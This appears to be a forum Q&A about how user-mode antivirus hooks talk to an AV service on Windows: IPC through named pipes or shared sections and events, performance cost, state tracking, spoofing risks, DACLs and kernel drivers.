Furthermore, the result of the "brain" "affects the hook", e.g.: should the AV log a suspicious API parameters, and send a message telling the hook to terminate the remote process (app.exe), effectively protecting in real-time the computer from a potential virus.

Questions:

The first conclusion is that the AV must use some form of Inter-Process Communication (IPC) between its hook (in the remote process app.exe) and its own process/service.

How does it happen in "real world" products? [There are many IPC options, each with its own pros & cons... of course there are many "clients" --- many processes to monitor at the same time in the system]

How does it affect the performance of a system with real-time protection enabled?

I mean, once a hook is triggered, app.exe's code must be suspended, and the results from the AV's "brain" must be received, dictating if a normal execution of app.exe should continue or not.
Is the communication safe? (encrypted? Can a virus 'fake' AV's internal messages? etc.)

Of course a sophisticated AV should maintain a 'State' of execution during run-time of app.exe, and make actions based on the State. E.g. ransomware being 'caught' by the use of these APIs in a loop: file access, crypto, write. So each API is benign on its own, but the combination (maintained State) is malicious.

How a real-time AV can stop a running program like this using simple user-space hooks? (Since it got its running "time share", in the remote app.exe only during API hooks... there isn't a different thread in the context of the remote process for the purpose of communication with the other AV processes, isn't it?)

Please answer my question and perhaps elaborate more on the subjects.
Thank you! :-)

I am oddly qualified to answer your questions, because I wrote a toy AV as my final year project in university. Mine used a kernel driver for process and thread creation notifications, but the majority of the work was done by a userspace service running as SYSTEM.

The first conclusion is that the AV must use some form of Inter-Process Communication (IPC) between its hook (in the remote process app.exe) and its own process/service.
How does it happen in "real world" products? [There are many IPC options, each with its own pros & cons... of course there are many "clients" --- many processes to monitor at the same time in the system]

There are a few approaches here. The two main ones are named pipes, or sections and events. In the case of pipes, your AV service can open a named pipe server and each process opens a handle to it so that it can send messages to it. This allows all messages to come in over a pipe and the server can process them all in one place. The one downside is that pipes can be a bit finnicky and stream-based message parsing can get a bit complicated.
The other way to go is to have a shared memory section (using CreateFileMapping, MapViewOfFile and associated APIs). These APIs are often used to map a filesystem file into virtual memory, but you can also created a named section that is backed by physical memory rather than a file on disk. You can then use a named event (e.g. with the CreateEvent API) and use that to signal (via SetEvent) that the service should read the section because a new message is ready. The service can then use ResetEvent to clear the event.  Both processes can use WaitForSingleObject to handle synchronisation. The benefit here is that you get multi-threading support, and the message parsing is easier. The more complicated aspect is that you need a section and an event for each process that the hook is injected into, and those names need to be unique. The way I approached this was to have each named object to be something along the lines of AV_sharemem_proc%d formatted with the process ID. The service could then enumerate processes (or, in my case, use the process creation events from the driver) in order to try to open these sections and events.

How does it affect the performance of a system with real-time protection enabled?
I mean, once a hook is triggered, app.exe's code must be suspended, and the results from the AV's "brain" must be received, dictating if a normal execution of app.exe should continue or not.

Yes, it affects performance. You get a context switch to the service process every time an API call has to be monitored. This can introduce latency while the thread scheduler goes through and gives each process its timeslice, although the scheduler is usually smart enough to switch context directly to a waiting process when a synchronisation event occurs. You can improve latency by setting the service process priority to high so that it more frequently gets given execution time. Don't use realtime priority though, as it is very liable to cause system instability.

Is the communication safe? (encrypted? Can a virus 'fake' AV's internal messages? etc.)

All AVs have to assume IPC may be compromised in some limited way, but a usermode hooking model is inherently not secure. Malware that expects your particular AV to be installed can simply break your injected hook, or take over it and send back "everything's ok". This is why most AVs have a driver; that way they can keep the hooking and monitoring stuff out of the process, where malware has complete control. The driver can also process some of the hooking stuff in the kernel without having to bounce each event back to the usermode service, which improves performance a lot.

Of course a sophisticated AV should maintain a 'State' of execution during run-time of app.exe, and make actions based on the State. E.g. ransomware being 'caught' by the use of these APIs in a loop: file access, crypto, write. So each API is benign on its own, but the combination (maintained State) is malicious.
How a real-time AV can stop a running program like this using simple user-space hooks? (Since it got its running "time share", in the remote app.exe only during API hooks... there isn't a different thread in the context of the remote process for the purpose of communication with the other AV processes, isn't it?)

This is mostly an implementation detail, but you need thread-safe hooks in the first place because the process might be making multiple calls across different threads at once. The way I'd approach it is to have a queue that contains each of the API calls that need to be sent via IPC to the service, then use an SRW lock so that the queue can be peeked by multiple threads but only written to (or dequeued) by one thread at once. Then you can have a dedicated thread for monitoring the queue and dequeuing items to send via IPC to the service. Since the scheduler operates on threads not processes it leads to less blocking than trying to do everything in a single thread.

Please answer my question and perhaps elaborate more on the subjects. Thank you! :-)

Make sure you set an appropriate DACL on system objects like pipes, sections, events, mutexes, SRWs, etc. - for global objects in your model (e.g. a pipe server on your service) you'll want to set it to allow read/write/synchronise for users, and full control by SYSTEM. For per-process stuff you should set the DACL to only allow access from the process' user context (i.e. the user that the process is running as) and SYSTEM. If you fail to do this, you'll end up with potential cross-user interference. If you end up adding a driver, you should definitely set a restrictive DACL that only allows SYSTEM to open handles to the driver object and any IPC objects used.
Using a driver is very similar to the IPC scenario I already described, except you generally send messages to the driver using IOCTLs or by performing other operations on the driver object.
While it's a bit outdated (focused on Windows Vista) I do strongly recommend having a read of Bill Blunden's book "The Rootkit Arsenal", as it covers a lot of the techniques you would use when writing usermode and kernel hooks.